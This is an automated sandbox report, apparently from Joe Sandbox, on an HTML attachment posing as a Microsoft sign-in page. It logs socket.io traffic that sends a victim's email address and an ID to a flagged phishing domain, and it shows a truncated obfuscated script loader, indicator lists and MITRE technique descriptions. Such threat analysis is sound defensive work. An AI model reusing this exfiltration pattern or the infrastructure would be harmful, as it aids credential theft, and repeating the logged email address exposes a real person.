2024-06-20 11:55:42 UTC	733	IN	HTTP/1.1 204 No Content Date: Thu, 20 Jun 2024 11:55:42 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: auth_uid,session_email CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tdIAAQDlbR4V3FXDejB7XMIU%2BLDUrIIgPwoZOz%2BACTb8tpdmBAztW6IUcQNM9C%2FNL1blWiZryr8QNL%2FiP2wNY9xDAaAGMHM%2FxTJxrToHbk0kLN4WxEhV4H7dZrgZkRyVN0NhwZBcNg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b924628b418ea-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.16	49821	172.67.196.150	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:55:42 UTC	388	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rW9mQ HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:55:42 UTC	639	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:55:42 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 118 Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FooAfT1B9wYHeWw9G3NDFfAmFNcBgvGBomA9WgZptKovogcXA1cMBJVHv2%2FxgzODulNc4SlgB1JR1tf18W0QGNsCb78w5TzJ%2B2GSQSNnndMtOJ4vTeec%2B%2B5M%2FEbHFY7NYzMqZQJywA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b92460dcac323-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:55:42 UTC	118	IN	Data Raw: 30 7b 22 73 69 64 22 3a 22 48 55 4f 69 54 78 33 39 70 65 39 68 34 2d 36 62 41 41 57 2d 22 2c 22 75 70 67 72 61 64 65 73 22 3a 5b 22 77 65 62 73 6f 63 6b 65 74 22 5d 2c 22 70 69 6e 67 49 6e 74 65 72 76 61 6c 22 3a 32 35 30 30 30 2c 22 70 69 6e 67 54 69 6d 65 6f 75 74 22 3a 32 30 30 30 30 2c 22 6d 61 78 50 61 79 6c 6f 61 64 22 3a 31 30 30 30 30 30 30 7d Data Ascii: 0{"sid":"HUOiTx39pe9h4-6bAAW-","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.16	49823	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:55:42 UTC	541	OUT	GET /socket.io/?EIO=4&transport=websocket&sid=FjnTMReM7ssTnzkJAAW9 HTTP/1.1 Host: fiveradio-newbam.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: null Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Sec-WebSocket-Key: DQ5nCd6eABkjJeRZTDfBUA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-06-20 11:55:42 UTC	619	IN	HTTP/1.1 400 Bad Request Date: Thu, 20 Jun 2024 11:55:42 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AibQ%2BfXpUR38d1fj6Bt5CnXYpiwpZoRu1BbQB4Y1%2FtA279yl2GZ9Hg9yBC0izxiGOpJ60Z02rJ9zoK7k986q%2F30RVeNVzvlCeXFgwELLJmUnT7I7jVc7Pk1aDjjB%2FGNbtNZhZxnrBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b92463ad418bc-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:55:42 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-06-20 11:55:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.16	49825	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:55:42 UTC	723	OUT	POST /socket.io/?EIO=4&transport=polling&t=P0rWA5s&sid=FjnTMReM7ssTnzkJAAW9 HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Content-Length: 2 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Auth_UID: USER21052024UNIQUE1031052124202420240521311024 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-type: text/plain;charset=UTF-8 Accept: / Session_Email: michael.deretz@aftral.com sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:55:42 UTC	2	OUT	Data Raw: 34 30 Data Ascii: 40
2024-06-20 11:55:43 UTC	626	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:55:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZGrkOV1E5HK%2FZZGVJJHwj2C3oU0C%2FQ58leNYd9N6A5zWm574t7m8aEeCznYPoE9gM2m%2ByeKXDITHkDeyrFe9Qi24ktUW5wS5Bc6r56lnsqgxbXZEYVXAhrDvPpDFfhPiZPbumdqNDQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b9249dd59c439-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:55:43 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-06-20 11:55:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.16	49826	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:55:42 UTC	663	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rWA5u&sid=FjnTMReM7ssTnzkJAAW9 HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Auth_UID: USER21052024UNIQUE1031052124202420240521311024 Session_Email: michael.deretz@aftral.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:55:43 UTC	629	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:55:43 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XZj1c7NlRrN9bINvitup3eSHfVEJCcQczuhyu2ESO7Ij%2BrsabLFm4xwQzT4L38HHloOSkd28xCsGtFoEgnhOJ3wKGo6HzNks7evLFl9A9OfFmlcApG6PnNhKePnYyaQnWJMFABuIoA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b924a2b7c7d00-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:55:43 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.16	49827	172.67.196.150	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:55:43 UTC	413	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rWA5s&sid=FjnTMReM7ssTnzkJAAW9 HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:55:43 UTC	581	IN	HTTP/1.1 400 Bad Request Date: Thu, 20 Jun 2024 11:55:43 GMT Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HAKNg2BQf9ysC9uJ73cxo8pn3YZWCJgh9nNLIMCZaElZbL3oITcXFcVt8XStFoNC3JH5HEJ9w9%2BPIEv2mFzt1g6hGW5VIDHrNnBlCXQCsqrcdydGd66ltzYeH6UjRmGqdtgxJOiCjw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b924de8db4213-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:55:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.16	49828	172.67.196.150	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:55:44 UTC	413	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rWA5u&sid=FjnTMReM7ssTnzkJAAW9 HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:55:44 UTC	615	IN	HTTP/1.1 400 Bad Request Date: Thu, 20 Jun 2024 11:55:44 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WMdGLjxuJsItVumg23ERfn5bF%2Bo2ZdcLB8573xhFqM8jaiFcF78qp3hjK4OL1pfFPOu7f559%2BxBLNn4PfYzsWNUQhRQlvToAbfgXtpZuSPNsM40bx4fhHHNJEHGnbElQ7E7wGKVD6w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b925219818c65-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:55:44 UTC	47	IN	Data Raw: 32 39 0d 0a 7b 22 63 6f 64 65 22 3a 31 2c 22 6d 65 73 73 61 67 65 22 3a 22 53 65 73 73 69 6f 6e 20 49 44 20 75 6e 6b 6e 6f 77 6e 22 7d 0d 0a Data Ascii: 29{"code":1,"message":"Session ID unknown"}
2024-06-20 11:55:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	07:54:16
Start date:	20/06/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\0055-fac_aftral.com_Thursday, June 20, 2024.html
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	07:54:17
Start date:	20/06/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1972,i,6958024593977134039,17326196499739565571,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVxf5&sid=uVSG40XMoVJ9HcCvAAWu	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVxf4&sid=uVSG40XMoVJ9HcCvAAWu	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVxEf	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/favicon.ico	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVzar&sid=ow3WvTxR_cQohvTKAAWx	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=websocket&sid=FjnTMReM7ssTnzkJAAW9	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVzaq&sid=ow3WvTxR_cQohvTKAAWx	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVzBj	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rW9mQ	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rWA5s&sid=FjnTMReM7ssTnzkJAAW9	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVuVC&sid=llA91gRN5_pFxgZ2AAWr	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rV-ov	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVuVD&sid=llA91gRN5_pFxgZ2AAWr	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=websocket&sid=uVSG40XMoVJ9HcCvAAWu	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rWA5u&sid=FjnTMReM7ssTnzkJAAW9	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=websocket&sid=ow3WvTxR_cQohvTKAAWx	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVuBL	Avira URL Cloud: Label: phishing
Source: https://fiveradio-newbam.com/socket.io/?EIO=4&transport=websocket&sid=llA91gRN5_pFxgZ2AAWr	Avira URL Cloud: Label: phishing

Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML

Source: 0055-fac_aftral.com_Thursday, June 20, 2024.html	HTTP Parser: document.write( unescape( %3C%73%63%72%69%70%74%3E%0A%20%20%20%20%20%20%20%20%76%61%72%20%73%63%20%3
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: document.write( unescape( %3C%73%63%72%69%70%74%3E%0A%20%20%20%20%20%20%20%20%76%61%72%20%73%63%20%3
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: document.write( unescape( %3C%73%63%72%69%70%74%3E%0A%20%20%20%20%20%20%20%20%76%61%72%20%73%63%20%3
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: document.write( unescape( %3C%73%63%72%69%70%74%3E%0A%20%20%20%20%20%20%20%20%76%61%72%20%73%63%20%3

Source: 0055-fac_aftral.com_Thursday, June 20, 2024.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: No favicon
Source: https://fiveradio-newbam.com/jsnom.js	HTTP Parser: No favicon
Source: https://fiveradio-newbam.com/	HTTP Parser: No favicon

Source: Joe Sandbox View	IP Address: 13.107.246.43 13.107.246.43
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 192.229.133.221 192.229.133.221
Source: Joe Sandbox View	IP Address: 13.107.246.60 13.107.246.60

Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	LLM: Score: 9 brands: Microsoft Reasons: The URL 'file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html' is highly suspicious as it is a local file path, not a web URL. This is a common technique used in phishing attacks to mislead users. The page mimics Microsoft's login page, which is a known brand. The presence of a login form and CAPTCHA is typical for phishing sites trying to appear legitimate. The domain 'aftral.com' does not match Microsoft's legitimate domain 'microsoft.com'. The combination of these factors strongly indicates that this is a phishing site. DOM: 0.1.pages.csv
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	LLM: Score: 9 brands: Microsoft Reasons: The URL 'file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html' is a local file path, not a legitimate web domain. This is highly suspicious as legitimate websites are hosted on web servers, not local file systems. The image resembles a Microsoft authentication page, but the URL does not match Microsoft's legitimate domain 'microsoft.com'. The presence of a 'Cancel' button and the 'Terms of use' and 'Privacy & cookies' links at the bottom are typical elements of a legitimate login page, but given the URL, this is likely a phishing attempt. Social engineering techniques are used here to mislead the user into thinking this is a legitimate Microsoft page. DOM: 0.2.pages.csv
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	LLM: Score: 8 brands: Microsoft Reasons: The URL 'file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html' is a local file path, which is highly suspicious for a legitimate login page. The page resembles a Microsoft login page, but the domain 'aftral.com' does not match the legitimate domain 'microsoft.com'. The presence of a login form and the use of social engineering techniques (e.g., mimicking a well-known brand's login page) further indicate that this is likely a phishing site. DOM: 0.0.pages.csv

Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: New script, src: https://cdn.socket.io/4.6.0/socket.io.min.js
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: New script, src: https://cdn.socket.io/4.6.0/socket.io.min.js
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: New script, src: https://cdn.socket.io/4.6.0/socket.io.min.js

Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	Matcher: Template: microsoft matched
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	Matcher: Template: microsoft matched

Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: Invalid link: Terms of use
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: Invalid link: Privacy & cookies
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: Invalid link: Terms of use
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: Invalid link: Privacy & cookies
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: Invalid link: Terms of use
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: Invalid link: Privacy & cookies

Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.86.251.15
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: global traffic	DNS traffic detected: DNS query: cdn.socket.io
Source: global traffic	DNS traffic detected: DNS query: fiveradio-newbam.com
Source: global traffic	DNS traffic detected: DNS query: www.w3schools.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
